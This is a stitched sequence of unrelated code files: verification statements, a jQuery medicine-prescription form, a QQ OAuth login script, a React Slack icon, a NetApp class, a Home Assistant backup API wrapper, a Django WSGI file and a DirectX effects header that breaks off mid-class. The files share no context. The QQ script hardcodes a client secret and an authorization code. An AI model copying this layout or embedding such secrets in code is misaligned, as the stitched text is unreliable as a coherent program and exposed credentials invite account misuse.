T_1_71_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_39_0 = -574203984;
T_2_72_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_47_0 = -574203984;
T_2_73_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_48_0 = 336796644;
T_2_74_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_48_1 = -1;
T_2_75_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_47_1 = x_48_1;
T_2_76_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_47_1 + 1 == 0) x_0_2 = 0;
T_2_77_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_49_0 = 1808278761;
T_2_78_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_49_1 = 9;
T_2_79_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_50_0 = 1147775657;
T_2_80_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_50_1 = x_49_1;
T_2_81_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_0_3 = 0;
T_2_82_2: if (x_44_1 < x_11_1) x_51_0 = 22231199;
T_2_83_2: if (x_44_1 < x_11_1) x_51_1 = 47716556052224;
T_2_84_2: if (x_44_1 < x_11_1) x_52_0 = 1457139883;
T_2_85_2: if (x_44_1 < x_11_1) x_52_1 = x_0_3 + x_44_1;
T_2_86_2: if (x_44_1 < x_11_1) x_45_1 = 0;
T_2_87_2: if (x_44_1 < x_11_1 && x_45_1 < x_43_1) x_53_0 = 547715547;
T_2_88_2: if (x_44_1 < x_11_1 && x_45_1 < x_43_1) x_53_1 = 47716556052224;
T_2_89_2: if (x_44_1 < x_11_1) x_45_2 = 1 + x_45_1;
T_2_90_2: if (x_44_1 < x_11_1 && x_45_2 < x_43_1) x_53_2 = 47716556052224;
T_2_91_2: if (x_44_1 < x_11_1) x_45_3 = 1 + x_45_2;
T_2_92_2: if (x_44_1 < x_11_1) x_54_0 = 326901343;
T_2_93_2: if (x_44_1 < x_11_1) x_54_1 = 47716556052224;
T_2_94_2: if (x_44_1 < x_11_1) x_0_4 = x_0_3 + x_44_1;
T_2_95_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_40_0 = 551260860;
T_2_96_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_40_1 = -1;
T_2_97_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_39_1 = x_40_1;
T_1_98_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_39_1 + 1 == 0) x_0_5 = 0;
T_1_99_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_41_0 = 1087601424;
T_1_100_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_41_1 = 9;
T_1_101_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_42_0 = 1274017977;
T_1_102_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_42_1 = x_41_1;
T_1_103_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_0_6 = 0;
T_1_104_1: if (x_44_1 < x_11_1) x_55_0 = 335915503;
T_1_105_1: if (x_44_1 < x_11_1) x_55_1 = 47716556052224;
T_1_106_1: if (x_44_1 < x_11_1) x_56_0 = 858212717;
T_1_107_1: if (x_44_1 < x_11_1) x_56_1 = 47716556052224;
T_2_108_2: if (x_44_1 < x_11_1) assert(x_0_6 == x_52_1);
}
|
let total_obat_satuan = 0
let total_obat_racik = 0
// Obat satuan
$('#tambah_obat_satuan_btn').on('click', function(){
total_obat_satuan += 1
// parent div
let div = document.createElement('div')
div.className = 'mt-2 form-group'
div.style = 'display: flex; flex-direction: column; align-items: center;'
// input group div (nama obat + search button)
let group_div = document.createElement('div')
group_div.className = 'input-group my-2 w-100'
// input nama obat
let input_nama_obat = document.createElement('input')
input_nama_obat.name = `input_nama_obat_satuan_${total_obat_satuan}`
input_nama_obat.id = `input_nama_obat_satuan_${total_obat_satuan}`
input_nama_obat.type = 'text'
// input_nama_obat.className = 'input_nama_obat_satuan form-control'
input_nama_obat.className = 'form-control'
input_nama_obat.placeholder = 'Nama Obat'
input_nama_obat.style = ''
// search button
let search_obat_btn = document.createElement('button')
search_obat_btn.type = 'button'
search_obat_btn.className = 'search_obat_btn btn btn-light'
// search icon
let search_obat_icon = document.createElement('i')
search_obat_icon.className = 'fas fa-search'
// input signatura
let input_signatura = document.createElement('input')
input_signatura.name = `input_signatura_obat_satuan_${total_obat_satuan}`
input_signatura.type = 'text'
input_signatura.className = 'input_signatura_obat_satuan my-2 w-100 form-control'
input_signatura.placeholder = 'Signatura'
input_signatura.style = ''
// input jumlah
let input_jumlah = document.createElement('input')
input_jumlah.name = `input_jumlah_obat_satuan_${total_obat_satuan}`
input_jumlah.type = 'number'
input_jumlah.className = 'input_jumlah_obat_satuan my-2 w-100 form-control'
input_jumlah.min = '1'
input_jumlah.placeholder = 'Jumlah'
input_jumlah.style = ''
// remove button
let rm_btn = document.createElement('button')
rm_btn.type = 'button'
rm_btn.className = `rm_obat_satuan_btn div_obat_satuan_${total_obat_satuan} btn btn-sm btn-youtube btn-rounded my-2`
rm_btn.style = ''
rm_btn.textContent = 'REMOVE'
// divider
let hr = document.createElement('hr')
hr.className = 'w-100 my-2'
search_obat_btn.appendChild(search_obat_icon)
group_div.appendChild(input_nama_obat)
group_div.appendChild(search_obat_btn)
div.appendChild(group_div)
div.appendChild(input_signatura)
div.appendChild(input_jumlah)
div.appendChild(rm_btn)
div.appendChild(hr)
document.getElementById('obat_satuan_parent_div').appendChild(div)
// remove obat
$(rm_btn).on('click', function(){
this.parentNode.remove()
})
// search obat
$(search_obat_btn).on('click', function(){
search_obat(input_nama_obat)
})
// trigger search obat saat user menekan tombol enter pada input nama obat
$(input_nama_obat).on('keyup', function(event){
if(event.key === 'Enter' || event.keyCode === 13){
search_obat(input_nama_obat)
}
})
})
// Obat racik
$('#tambah_obat_racik_btn').on('click', function(){
total_obat_racik += 1
// parent div
let div = document.createElement('div')
div.className = 'mt-2 form-group'
div.style = 'display: flex; flex-direction: column; align-items: center;'
// div nama obat
let nama_obat_div = document.createElement('div')
nama_obat_div.className = 'nama_obat_div w-100'
// div input group (nama obat + tambah button)
let group_div = document.createElement('div')
group_div.className = 'input-group my-2'
// input nama obat
let input_nama_obat = document.createElement('input')
input_nama_obat.name = `input_nama_obat_racik_${total_obat_racik}`
input_nama_obat.type = 'text'
input_nama_obat.className = 'input_nama_obat_racik form-control'
input_nama_obat.placeholder = 'Nama Obat'
input_nama_obat.style = ''
// tambah nama obat button
let tambah_nama_obat = document.createElement('button')
tambah_nama_obat.type = 'button'
tambah_nama_obat.className = 'btn btn-sm btn-light bg-success tambah_nama_obat_racik_btn'
tambah_nama_obat.textContent = '+'
tambah_nama_obat.style = 'font-size: large;'
// input prescriptio
let input_prescriptio = document.createElement('input')
input_prescriptio.name = `input_prescriptio_obat_racik_${total_obat_racik}`
input_prescriptio.type = 'text'
input_prescriptio.className = 'input_prescriptio_obat_racik my-2 w-100 form-control'
input_prescriptio.placeholder = 'Prescriptio'
input_prescriptio.style = ''
// input signatura
let input_signatura = document.createElement('input')
input_signatura.name = `input_signatura_obat_racik_${total_obat_racik}`
input_signatura.type = 'text'
input_signatura.className = 'input_signatura_obat_racik my-2 w-100 form-control'
input_signatura.placeholder = 'Signatura'
input_signatura.style = ''
// input jumlah
let input_jumlah = document.createElement('input')
input_jumlah.name = `input_jumlah_obat_racik_${total_obat_racik}`
input_jumlah.type = 'number'
input_jumlah.className = 'input_jumlah_obat_racik my-2 w-100 form-control'
input_jumlah.min = '1'
input_jumlah.placeholder = 'Jumlah'
input_jumlah.style = ''
// remove button
let rm_btn = document.createElement('button')
rm_btn.type = 'button'
rm_btn.className = `rm_obat_racik_btn div_obat_racik_${total_obat_racik} btn btn-sm btn-youtube btn-rounded my-2`
rm_btn.style = ''
rm_btn.textContent = 'REMOVE'
// divider
let hr = document.createElement('hr')
hr.className = 'w-100 my-2'
group_div.appendChild(input_nama_obat)
group_div.appendChild(tambah_nama_obat)
nama_obat_div.appendChild(group_div)
div.appendChild(nama_obat_div)
div.appendChild(input_prescriptio)
div.appendChild(input_signatura)
div.appendChild(input_jumlah)
div.appendChild(rm_btn)
div.appendChild(hr)
document.getElementById('obat_racik_parent_div').appendChild(div)
// tambah nama obat
$(tambah_nama_obat).on('click', function(){
// div input group (nama obat + tambah button)
let group_div_child = document.createElement('div')
group_div_child.className = 'input-group my-2'
// input nama obat
let input_nama_obat_child = document.createElement('input')
input_nama_obat_child.name = `input_nama_obat_racik_${total_obat_racik}`
input_nama_obat_child.type = 'text'
input_nama_obat_child.className = 'input_nama_obat_racik form-control'
input_nama_obat_child.placeholder = 'Nama Obat'
// remove nama obat button
let remove_nama_obat = document.createElement('button')
remove_nama_obat.type = 'button'
remove_nama_obat.className = 'btn btn-sm btn-light bg-danger remove_nama_obat_racik_btn'
remove_nama_obat.textContent = '-'
remove_nama_obat.style = 'font-size: large;'
group_div_child.appendChild(input_nama_obat_child)
group_div_child.appendChild(remove_nama_obat)
this.parentNode.appendChild(group_div_child)
// remove nama obat
$(remove_nama_obat).on('click', function(){
this.parentNode.remove()
})
})
// remove obat
$(rm_btn).on('click', function(){
this.parentNode.remove()
})
// trigger search obat saat user menekan tombol enter pada input nama obat
$(input_nama_obat).on('keyup', function(event){
if(event.key === 'Enter' || event.keyCode === 13){
search_obat(input_nama_obat)
}
})
})
// search obat
function search_obat(input_form){
$('#search_obat_modal').modal('show')
$('#search_obat_modal .search_obat_result_btn').on('click', function(){
let data_content = $(this).data('content')
$(input_form).val(data_content)
$('#search_obat_modal').modal('hide')
})
}
|
"""
QQ登陆
"""
from QQLoginTool.QQtool import OAuthQQ
# QQ登录参数
QQ_CLIENT_ID = '101474184'
QQ_CLIENT_SECRET = 'c6ce949e04e12ecc909ae6a8b09b637c'
QQ_REDIRECT_URI = 'http://www.meiduo.site:8080/oauth_callback.html'
# "https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=101474184&redirect_uri=http%3A%2F%2Fwww.meiduo.site%3A8080%2Foauth_callback.html&state=%2F&scope=get_user_info
# 获取QQ登录页面网址
oauth = OAuthQQ(client_id=QQ_CLIENT_ID, client_secret=QQ_CLIENT_SECRET,
redirect_uri=QQ_REDIRECT_URI, state="yard.html")
login_url = oauth.get_qq_url()
print(login_url) # 将链接粘贴到浏览器请求,登陆成功之后,返回的链接就包含了code的值
code = 'AF6298841730C2A00F0675BDF8E90040'
if code:
access_token = oauth.get_access_token(code)
print(access_token)
openid = oauth.get_open_id(access_token)
print(openid)
# 8D2F1BAE028ECA45A903C5ABA4483A2D
# 7515974396649D3E850422595209B350
|
import React, { forwardRef } from 'react';
import PropTypes from 'prop-types';
const Slack = forwardRef(({ color = 'currentColor', size = 24, ...rest }, ref) => {
return (
<svg
ref={ref}
xmlns="http://www.w3.org/2000/svg"
width={size}
height={size}
viewBox="0 0 24 24"
fill="none"
stroke={color}
strokeWidth="2"
strokeLinecap="round"
strokeLinejoin="round"
{...rest}
>
<path
d="M14.5 10C13.67 10 13 9.33 13 8.5V3.5C13 2.67 13.67 2 14.5 2C15.33 2 16 2.67 16 3.5V8.5C16 9.33 15.33 10 14.5 10Z"
strokeMiterlimit="10"
/>
<path
d="M20.5 10H19V8.5C19 7.67 19.67 7 20.5 7C21.33 7 22 7.67 22 8.5C22 9.33 21.33 10 20.5 10Z"
strokeMiterlimit="10"
/>
<path
d="M9.5 14C10.33 14 11 14.67 11 15.5V20.5C11 21.33 10.33 22 9.5 22C8.67 22 8 21.33 8 20.5V15.5C8 14.67 8.67 14 9.5 14Z"
strokeMiterlimit="10"
/>
<path
d="M3.5 14H5V15.5C5 16.33 4.33 17 3.5 17C2.67 17 2 16.33 2 15.5C2 14.67 2.67 14 3.5 14Z"
strokeMiterlimit="10"
/>
<path
d="M14 14.5C14 13.67 14.67 13 15.5 13H20.5C21.33 13 22 13.67 22 14.5C22 15.33 21.33 16 20.5 16H15.5C14.67 16 14 15.33 14 14.5Z"
strokeMiterlimit="10"
/>
<path
d="M15.5 19H14V20.5C14 21.33 14.67 22 15.5 22C16.33 22 17 21.33 17 20.5C17 19.67 16.33 19 15.5 19Z"
strokeMiterlimit="10"
/>
<path
d="M10 9.5C10 8.67 9.33 8 8.5 8H3.5C2.67 8 2 8.67 2 9.5C2 10.33 2.67 11 3.5 11H8.5C9.33 11 10 10.33 10 9.5Z"
strokeMiterlimit="10"
/>
<path
d="M8.5 5H10V3.5C10 2.67 9.33 2 8.5 2C7.67 2 7 2.67 7 3.5C7 4.33 7.67 5 8.5 5Z"
strokeMiterlimit="10"
/>
</svg>
);
});
Slack.propTypes = {
color: PropTypes.string,
size: PropTypes.oneOfType([PropTypes.string, PropTypes.number]),
};
Slack.displayName = 'Slack';
export default Slack;
|
from netapp.netapp_object import NetAppObject
class OutputTypedef0(NetAppObject):
"""
Output
"""
_zfield5 = None
@property
def zfield5(self):
"""
Generic/Dummy Field 5
Attributes: required-for-create, modifiable
"""
return self._zfield5
@zfield5.setter
def zfield5(self, val):
if val != None:
self.validate('zfield5', val)
self._zfield5 = val
_zfield3 = None
@property
def zfield3(self):
"""
Generic/Dummy Field 3
Attributes: required-for-create, non-modifiable
"""
return self._zfield3
@zfield3.setter
def zfield3(self, val):
if val != None:
self.validate('zfield3', val)
self._zfield3 = val
@staticmethod
def get_api_name():
return "output-typedef-0"
@staticmethod
def get_desired_attrs():
return [
'zfield5',
'zfield3',
]
def describe_properties(self):
return {
'zfield5': { 'class': basestring, 'is_list': False, 'required': 'optional' },
'zfield3': { 'class': basestring, 'is_list': False, 'required': 'optional' },
}
|
'''
report: tests module.
Meant for use with py.test.
Organize tests into files, each named xxx_test.py
Read more here: http://pytest.org/
Copyright 2018, zguo
Licensed under MIT
'''
|
import asyncio
import logging
import os
from http import HTTPStatus
from typing import Dict, List, Optional
import aiohttp
import async_timeout
from homeassistant.components.hassio.const import X_HASSIO
from . import DEFAULT_BACKUP_TIMEOUT_SECONDS
_LOGGER = logging.getLogger(__name__)
CHUNK_SIZE = 64 * 1024 # 64 KB
class HassioAPIError(RuntimeError):
"""Return if a API trow a error."""
def api_data(funct):
"""Return data of an api."""
async def _wrapper(*argv, **kwargs):
"""Wrap function."""
data = await funct(*argv, **kwargs)
if data["result"] == "ok":
return data["data"]
raise HassioAPIError(data["message"])
return _wrapper
class HassIO:
"""Small API wrapper for Hass.io."""
def __init__(
self,
loop: asyncio.AbstractEventLoop,
web_session: aiohttp.ClientSession,
ip: str,
) -> None:
"""Initialize Hass.io API."""
self.loop = loop
self._web_session = web_session
self._ip = ip
@api_data
def get_addons_repositories(self):
"""Return data for add-ons and repositories.
This method return a coroutine.
"""
return self.send_command("/addons", method="get")
async def get_addons(self) -> List[Dict]:
result = await self.get_addons_repositories()
return result.get("addons", [])
async def get_installed_addons(self) -> List[Dict]:
addons = await self.get_addons()
return [addon for addon in addons if addon.get("installed")]
@api_data
def create_backup(
self, data: Dict, partial: bool = False, timeout: Optional[int] = None
):
"""Create a full or partial backup.
This method return a coroutine.
"""
backup_type = "partial" if partial else "full"
command = f"/backups/new/{backup_type}"
return self.send_command(command, payload=data, timeout=timeout)
@api_data
def remove_backup(self, slug):
"""Remove a backup.
This method return a coroutine.
"""
return self.send_command(f"/backups/{slug}", method="delete", timeout=300)
async def send_command(self, command, method="post", payload=None, timeout=10):
"""Send API command to Hass.io.
This method is a coroutine.
"""
try:
with async_timeout.timeout(timeout):
request = await self._web_session.request(
method,
f"http://{self._ip}{command}",
json=payload,
headers={X_HASSIO: os.environ.get("HASSIO_TOKEN", "")},
timeout=None,
)
if request.status not in (HTTPStatus.OK, HTTPStatus.BAD_REQUEST):
_LOGGER.error("%s return code %d.", command, request.status)
raise HassioAPIError()
answer = await request.json()
return answer
except asyncio.TimeoutError:
raise HassioAPIError("Timeout on %s request" % command)
except aiohttp.ClientError as err:
raise HassioAPIError("Client error on %s request %s" % (command, err))
raise HassioAPIError("Failed to call %s" % command)
async def download_backup(
self, slug: str, destination: str, timeout: int = DEFAULT_BACKUP_TIMEOUT_SECONDS
):
"""Download and save a backup from Hass.io."""
command = f"/backups/{slug}/download"
try:
with async_timeout.timeout(timeout):
request = await self._web_session.request(
"get",
f"http://{self._ip}{command}",
headers={X_HASSIO: os.environ.get("HASSIO_TOKEN", "")},
timeout=None,
)
if request.status not in (200, 400):
_LOGGER.error("%s return code %d.", command, request.status)
raise HassioAPIError()
with open(destination, "wb") as file:
while True:
chunk = await request.content.read(CHUNK_SIZE)
if not chunk:
break
file.write(chunk)
_LOGGER.info("Downloaded backup '%s' to '%s'", slug, destination)
return
except asyncio.TimeoutError:
_LOGGER.error("Timeout on %s request", command)
except aiohttp.ClientError as err:
_LOGGER.error("Client error on %s request %s", command, err)
except IOError:
_LOGGER.error("Failed to download backup '%s' to '%s'", slug, destination)
raise HassioAPIError(
"Backup download failed. Check the logs for more information."
)
|
"""
WSGI config for sfcbackend project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'sfcbackend.settings')
application = get_wsgi_application()
|
# -*- coding:utf-8 -*-
# Author: hankcs
# Date: 2019-12-28 19:26
__version__ = '2.0.0-alpha.8'
|
import ReadingTime from "./ReadingTime";
export default ReadingTime;
|
//--------------------------------------------------------------------------------------
// File: Effects.h
//
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
//
// http://go.microsoft.com/fwlink/?LinkID=615561
//--------------------------------------------------------------------------------------
#pragma once
#ifdef _GAMING_XBOX_SCARLETT
#include <d3d12_xs.h>
#elif (defined(_XBOX_ONE) && defined(_TITLE)) || defined(_GAMING_XBOX)
#include <d3d12_x.h>
#else
#include <d3d12.h>
#endif
#include <cstddef>
#include <memory>
#include <string>
#include <DirectXMath.h>
#include "RenderTargetState.h"
#include "EffectPipelineStateDescription.h"
namespace DirectX
{
class DescriptorHeap;
class ResourceUploadBatch;
//----------------------------------------------------------------------------------
// Abstract interface representing any effect which can be applied onto a D3D device context.
class IEffect
{
public:
virtual ~IEffect() = default;
IEffect(const IEffect&) = delete;
IEffect& operator=(const IEffect&) = delete;
virtual void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) = 0;
protected:
IEffect() = default;
IEffect(IEffect&&) = default;
IEffect& operator=(IEffect&&) = default;
};
// Abstract interface for effects with world, view, and projection matrices.
class IEffectMatrices
{
public:
virtual ~IEffectMatrices() = default;
IEffectMatrices(const IEffectMatrices&) = delete;
IEffectMatrices& operator=(const IEffectMatrices&) = delete;
virtual void XM_CALLCONV SetWorld(FXMMATRIX value) = 0;
virtual void XM_CALLCONV SetView(FXMMATRIX value) = 0;
virtual void XM_CALLCONV SetProjection(FXMMATRIX value) = 0;
virtual void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection);
protected:
IEffectMatrices() = default;
IEffectMatrices(IEffectMatrices&&) = default;
IEffectMatrices& operator=(IEffectMatrices&&) = default;
};
// Abstract interface for effects which support directional lighting.
class IEffectLights
{
public:
virtual ~IEffectLights() = default;
IEffectLights(const IEffectLights&) = delete;
IEffectLights& operator=(const IEffectLights&) = delete;
virtual void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) = 0;
virtual void __cdecl SetLightEnabled(int whichLight, bool value) = 0;
virtual void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) = 0;
virtual void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) = 0;
virtual void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) = 0;
virtual void __cdecl EnableDefaultLighting() = 0;
static constexpr int MaxDirectionalLights = 3;
protected:
IEffectLights() = default;
IEffectLights(IEffectLights&&) = default;
IEffectLights& operator=(IEffectLights&&) = default;
};
// Abstract interface for effects which support fog.
class IEffectFog
{
public:
virtual ~IEffectFog() = default;
IEffectFog(const IEffectFog&) = delete;
IEffectFog& operator=(const IEffectFog&) = delete;
virtual void __cdecl SetFogStart(float value) = 0;
virtual void __cdecl SetFogEnd(float value) = 0;
virtual void XM_CALLCONV SetFogColor(FXMVECTOR value) = 0;
protected:
IEffectFog() = default;
IEffectFog(IEffectFog&&) = default;
IEffectFog& operator=(IEffectFog&&) = default;
};
// Abstract interface for effects which support skinning
class IEffectSkinning
{
public:
virtual ~IEffectSkinning() = default;
IEffectSkinning(const IEffectSkinning&) = delete;
IEffectSkinning& operator=(const IEffectSkinning&) = delete;
virtual void __cdecl SetBoneTransforms(_In_reads_(count) XMMATRIX const* value, size_t count) = 0;
virtual void __cdecl ResetBoneTransforms() = 0;
static constexpr int MaxBones = 72;
protected:
IEffectSkinning() = default;
IEffectSkinning(IEffectSkinning&&) = default;
IEffectSkinning& operator=(IEffectSkinning&&) = default;
};
//----------------------------------------------------------------------------------
namespace EffectFlags
{
constexpr uint32_t None = 0x00;
constexpr uint32_t Fog = 0x01;
constexpr uint32_t Lighting = 0x02;
constexpr uint32_t PerPixelLighting = 0x04 | Lighting; // per pixel lighting implies lighting enabled
constexpr uint32_t VertexColor = 0x08;
constexpr uint32_t Texture = 0x10;
constexpr uint32_t Instancing = 0x20;
constexpr uint32_t Specular = 0x100; // enable optional specular/specularMap feature
constexpr uint32_t Emissive = 0x200; // enable optional emissive/emissiveMap feature
constexpr uint32_t Fresnel = 0x400; // enable optional Fresnel feature
constexpr uint32_t Velocity = 0x800; // enable optional velocity feature
constexpr uint32_t BiasedVertexNormals = 0x10000; // compressed vertex normals need x2 bias
}
//----------------------------------------------------------------------------------
// Built-in shader supports optional texture mapping, vertex coloring, directional lighting, and fog.
class BasicEffect : public IEffect, public IEffectMatrices, public IEffectLights, public IEffectFog
{
public:
BasicEffect(_In_ ID3D12Device* device, uint32_t effectFlags, const EffectPipelineStateDescription& pipelineDescription);
BasicEffect(BasicEffect&&) noexcept;
BasicEffect& operator= (BasicEffect&&) noexcept;
BasicEffect(BasicEffect const&) = delete;
BasicEffect& operator= (BasicEffect const&) = delete;
~BasicEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void XM_CALLCONV SetEmissiveColor(FXMVECTOR value);
void XM_CALLCONV SetSpecularColor(FXMVECTOR value);
void __cdecl SetSpecularPower(float value);
void __cdecl DisableSpecular();
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Light settings.
void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) override;
void __cdecl SetLightEnabled(int whichLight, bool value) override;
void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) override;
void __cdecl EnableDefaultLighting() override;
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture setting.
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
};
// Built-in shader supports per-pixel alpha testing.
class AlphaTestEffect : public IEffect, public IEffectMatrices, public IEffectFog
{
public:
AlphaTestEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription,
D3D12_COMPARISON_FUNC alphaFunction = D3D12_COMPARISON_FUNC_GREATER);
AlphaTestEffect(AlphaTestEffect&&) noexcept;
AlphaTestEffect& operator= (AlphaTestEffect&&) noexcept;
AlphaTestEffect(AlphaTestEffect const&) = delete;
AlphaTestEffect& operator= (AlphaTestEffect const&) = delete;
~AlphaTestEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture setting.
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
// Alpha test settings.
void __cdecl SetReferenceAlpha(int value);
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
};
// Built-in shader supports two layer multitexturing (eg. for lightmaps or detail textures).
class DualTextureEffect : public IEffect, public IEffectMatrices, public IEffectFog
{
public:
DualTextureEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription);
DualTextureEffect(DualTextureEffect&&) noexcept;
DualTextureEffect& operator= (DualTextureEffect&&) noexcept;
DualTextureEffect(DualTextureEffect const&) = delete;
DualTextureEffect& operator= (DualTextureEffect const&) = delete;
~DualTextureEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture settings.
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
void __cdecl SetTexture2(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
};
// Built-in shader supports cubic environment mapping.
class EnvironmentMapEffect : public IEffect, public IEffectMatrices, public IEffectLights, public IEffectFog
{
public:
enum Mapping
{
Mapping_Cube = 0, // Cubic environment map
Mapping_Sphere, // Spherical environment map
Mapping_DualParabola, // Dual-parabola environment map (requires Feature Level 10.0)
};
EnvironmentMapEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription,
Mapping mapping = Mapping_Cube);
EnvironmentMapEffect(EnvironmentMapEffect&&) noexcept;
EnvironmentMapEffect& operator= (EnvironmentMapEffect&&) noexcept;
EnvironmentMapEffect(EnvironmentMapEffect const&) = delete;
EnvironmentMapEffect& operator= (EnvironmentMapEffect const&) = delete;
~EnvironmentMapEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void XM_CALLCONV SetEmissiveColor(FXMVECTOR value);
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Light settings.
void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) override;
void __cdecl SetLightEnabled(int whichLight, bool value) override;
void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) override;
void __cdecl EnableDefaultLighting() override;
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture setting.
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE texture, D3D12_GPU_DESCRIPTOR_HANDLE sampler);
// Environment map settings.
void __cdecl SetEnvironmentMap(D3D12_GPU_DESCRIPTOR_HANDLE texture, D3D12_GPU_DESCRIPTOR_HANDLE sampler);
void __cdecl SetEnvironmentMapAmount(float value);
